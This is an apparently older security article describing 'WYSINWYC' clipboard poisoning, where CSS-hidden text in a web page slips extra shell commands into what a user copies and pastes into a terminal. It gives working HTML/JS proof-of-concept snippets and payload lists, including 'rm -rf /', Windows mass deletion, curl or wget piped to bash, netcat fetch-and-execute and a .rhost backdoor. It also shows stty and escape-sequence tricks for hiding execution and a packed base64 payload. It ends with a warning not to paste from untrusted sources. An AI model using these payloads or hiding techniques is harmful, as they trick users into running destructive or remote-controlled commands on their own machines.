User iteraction based exploitation: WYSINWYC (What you see is not what you copy)

When working with computers you know if there is or not a reliable and
deterministic way to exploit them, ineed when working with humans there's
no certezza. Technical people often prefear to stay technical and avoid
humans. This is infact our first article witch need direct human
iteraction to work.

The presented technique relay on a special type of "rich text"
copy where the apparently inncuos payload is pasted in a different
context able to parse it. This is especially true, but definitely not
limited to, online how-to.

The core concept of the attack is that the displayed text (and thus the
data the user thinks to have copied) is different from what the browser
have in realy copied.

Recently "clipboard poisoning" attacks have arised using Flash (one of
the few good candidates able to set the clipboard, other than VBScript,
as it doesn't follow browser raccomendations and implementations wich
disable JavaScript read and write access to the Clipboard object on
documents coming from unsafe XXX like the internets.) and this convinto
us to publish the present, two years old, discovery and research.

Do you have even copy/pasted something from your brower to your shell?
Did you felt that as an innocuos process? Then our scope in this
pubblication is to show how dangerous and silent is.

Mounting the attack presented is easy but could have different level
of results. It has to be carefully developed, toughted, planned and
executed to get prime levels of p0wn. Also the specific "how-to"
example is somehow limited to geeks and techinal people who uses unix

Social engineering in any of it's forms can be used to lower the bar
and render a specific attack more effective.

Consider anyway that the concept is wider and applies to any "rich-data"
who changes it's context thanks to the user. It's not limited to
browsers and shells but our very own example is.

The basic implementation makes no use of JS but only HTML and CSS.
A more weaponized POC that is presented makes use of JS to better handle
different browsers but gracefully degrades to HTML only if JS is
disabled or extensions like NoScript are used.

Preface is over, let's go with the interesting part.

Technical attacker-side details: hiding.

uname <span style="display: none;">>/dev/null;xterm;uname </span> -a

This rapresents the smallest POC to demonstrate the technique and only
works with Firefox. As you can imagine, seen the prologue, the browser
will only render "uname -a" to the user but the clipboard (both the
"Xerox copy" (tm) of X11/Xorg, select and paste, and the standard
CTRL+C/CTRL+V mechanism) will effectively contain the hidden "xterm"

When such data is pasted into a shell the hidden command will extecute
together with the others.

The POC that follows is a better implementation and takes in merit the
implementation details scaturiti from a deeper research once it was
realized that the attack was extremly interesting (it was succesfully
tested on many paranoid and security addicted friends with good success

if (navigator.appName == "Opera") {
document.write('<span style="display: block; float: left;">uname <span style="color: white;">\</span></span><span style="display: block; float: left; background: transparent; color: transparent; white-space: no-wrap; overflow: hidden; width: 0px; height: 0px;">2>&1 &>/dev/null && touch ciao && uname \</span><span style="display: block; float: left;"> -a; </span><span style="display: block; white-space: no-wrap;"> </span><span style="display: block; clear: both;"></span>');
} else {
document.write('<span style="display: block; float: left;">uname </span><span style="display: block; float: left; background: transparent; color: transparent; white-space: no-wrap; overflow: hidden; width: 0px; height: 0px;">2>&1 &>/dev/null && touch ciao && uname </span><span style="display: block; float: left;"> -a; </span><span style="display: block; white-space: no-wrap;"> </span><span style="display: block; clear: both;"></span>');
<!-- Let's hope it's not Opera -->
<span style="display: block; float: left;">uname </span><span style="display: block; float: left; background: transparent; color: transparent; white-space: no-wrap; overflow: hidden; width: 0px; height: 0px;">2>&1 &>/dev/null && touch ciao && uname </span><span style="display: block; float: left;"> -a; </span><span style="display: block; white-space: no-wrap;"> </span><span style="display: block; clear: both;"></span>

JS has only a small role for Browser and OS detection (as the
implementation can be extended to take care of Windows too as any other
OS). The main part is the CSS "universal" hiding stye, with the only
little exception for Opera that needs special attentions.

Technical victim-side details: introduction and terminal details.

Now that we know that there's a nice and faesable user iteraction based
way to send our data/commands to user applications and the "copy" part
is tuned to be as hidden as possible (a simple paste in a text editor
will completely reveal the evil intentions) it's the turn of the "paste"

Stealthness can be obtained in two different ways: small payload (who
will notice 20 chars or less) in the pasted text and by visive tricks
or by the combination of boths methods.

Payloads will be presented first then the victim-side hiding part.

Remember that this technique is not limited to shell/terminal but
examples are build against the scenario of a user iteraction from a
"rich copy" to it's root/user shell.

Technical victim-side details: small offline and two stage payloads.

A list of real life example follows, just to give you an idea.

Small commands:
rm -rf /
del /F /S /Q * # windows
/opt/custom/app abuse_my_functionality
echo "*" > ~/.rhost

Remote storage over http

wget -q -O-|bash
curl -s|bash
echo -en "GET /\n\n"|nc 80|bash

The shortest that comes to my mind is "GET|sh" (13 chars).

Other remote storage fetch methods:
dig AXFR @evil-dns-with-53-tcp # since zone transfers use TCP

Just use your immagination to figure out the best payload to inject
seen the network topology and size.

As you can see small commands are limited in terms of flexibility and
remote fetch/exec can be made useless by network protections (egress
filtering, my-work-is-grep ids) and configuration issues (missing
routing, machine offline, personal firewall, etc).

Small commands normally doesn't work very well offline and network ones
can bypass the above protections (like for the dns thingie). Also small
injection payloads can be used to mout two stage attacks where the big
part is stored online.

Network storage potentially leave more tracks on the victim's computer
and network and can help track back the attacker while a stealth
selfcontained command could be very hard to track (was the forum or
the howto who p0wned me?).

This technique allows you to sent a lot of data to the client and big
selfcontained paylaods up to >100k have been succesfully tested, can
you imagine how mutch logic can you stuff into it?

Of course it's possible to send multirow text but remember to calibrate
carefully newlines as unexpected results could arise.

Technical victim-side details: selfcontained and wrapped/packed payloads

This is the beast, a complete, fully featured and demo oriented payload
that demonstrates the ability to carry complex self-contained attacks.

It makes use of a number of utilities like "echo", "uudecode", "base64",
"tar", "" and "".

Please consider that much less is needed to successfully own a system
but the scope of the demo is to entratain you.

echo -en "begin-base64 600\nH4sICIWWukcAA3doYXRoYXBwZW5lZC5zaACtWvtTGzkS/p2/QuflbpPcskYP\nv4qi6gghjzoIFGR3k1rnhsEe8Bz2DBmbsL5l//eT+tNMSw4s5C42Vn/davV8\n0ujRY/PdX9pnedE+S+eTtWw0KcVGVojWcFPrX83mjKTenO3s7LS21k52j/f2\n3ibHeyeH+z+9e3P4dvv0tyotxpW4FRdVdiVa/3rWsniejUVr3hbiWVu0L5xl\ndL0QG9Zo3xvnQv1gTu+IlrzfPiUK619UfRFC3hngw+MDKBvgYO/kZOfV3smv\nmx+3W0Ik9iXufSX2PSxE27qJ4X1Ot+49LJxwyIdzcSk0XSBJYq+hfbftn31/\n70K33YVsMTxt3KjJUPws7F/7FldxgdriiatJrJcYOvp2zIdJ2/45I1VYoyt+\nSJ4kT63XI16P9WoFAyhpAP+/l7tu4mh/9cu1cZ9hgda1XmO2cfwYPT5CHGvV\nFkdga+wXx49rvhyHu3hwWXvGvfj6MYx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.jpg | grep "^HTTP/";

On the other side selfcontained attacks alone are pretty visible since
you'll see huge blobs of text being typed in the terminal.

Technical victim-side details: hiding on the terminal

To carry a lot of data while remaining stealth it's necessary to use
other tricks as promised before.

On windows:
@echo off

Hide the input in linux with stty:
stty -echo

Hide the input in linux with read -s
echo "ls -la" | perl -e '$cmd=<STDIN>;chop($cmd);print("read -sn".length($cmd)." a;\n".$cmd."\$a;\n");'
read -sn6 a;
ls -la$a;

The above is a simlple and smart (read -sn6 a; ls -la$a;).

Hide the output in linux with redirects:
echo -en 2>&1 &>/dev/null;

Of course you can redirect the output to Kalapampur.

Hide the output in linux with terminal color escape sequences:

echo -en "\033[40m\033[30mAAA";

Now we can mix them together to get a killer routine that possibly will
works on different operative systems and enviroments.

stty -echo;echo -en "\033[40m\033[30mAAA";

Users that uses a colored PS1 have an escape sequence that will reset
our escape sequence so the best is to disable PS1.

stty -echo;PS1="";echo -en "\033[40m\033[30mAAA";
ls 2>&1 &>/dev/null;

It could be a good idea to restore the PS1 after the attack.

stty -echo;
a=$PS1;PS1="";echo -en "\033[40m\033[30mAAA";ls 2>&1 &>/dev/null;stty echo;PS1=$a;

A better alternative that produces better output exist.

stty -echo;
a=$PS1;PS1="";echo -en "\033[40m\033[30mAAA";ls 2>&1 &>/dev/null;stty echo;

Technical victim-side details: considerations and demo.

Many aspects have been touched as user iteraction needs precision to
work on tech-savy humans. This is the best we could come out that
doesn't cade in the uninteresting phising/please-click-on-the-exe
category. The number and complexity of elements in play require special
attantion when crafting the attack.

The very nice part is that no comuter vulnerability is required and
this will probably work until the whole internet userbase gets his
brain upgrded to version 2.0. This is expected to happen for Never GMT.

Conceps involved are: user iteraction, trust in what you think are
doing, cross-contexts actions. Technical details exposed are: browser
"copy" trickery and hiding, terminal "paste" trickery and hiding, online
and offline payloads.

Summarizing: never copy and paste something directly from an untrusted
source to an executable context. Never ever.

We really hope you enjoyed the reading. Have a good day.

agnes cameron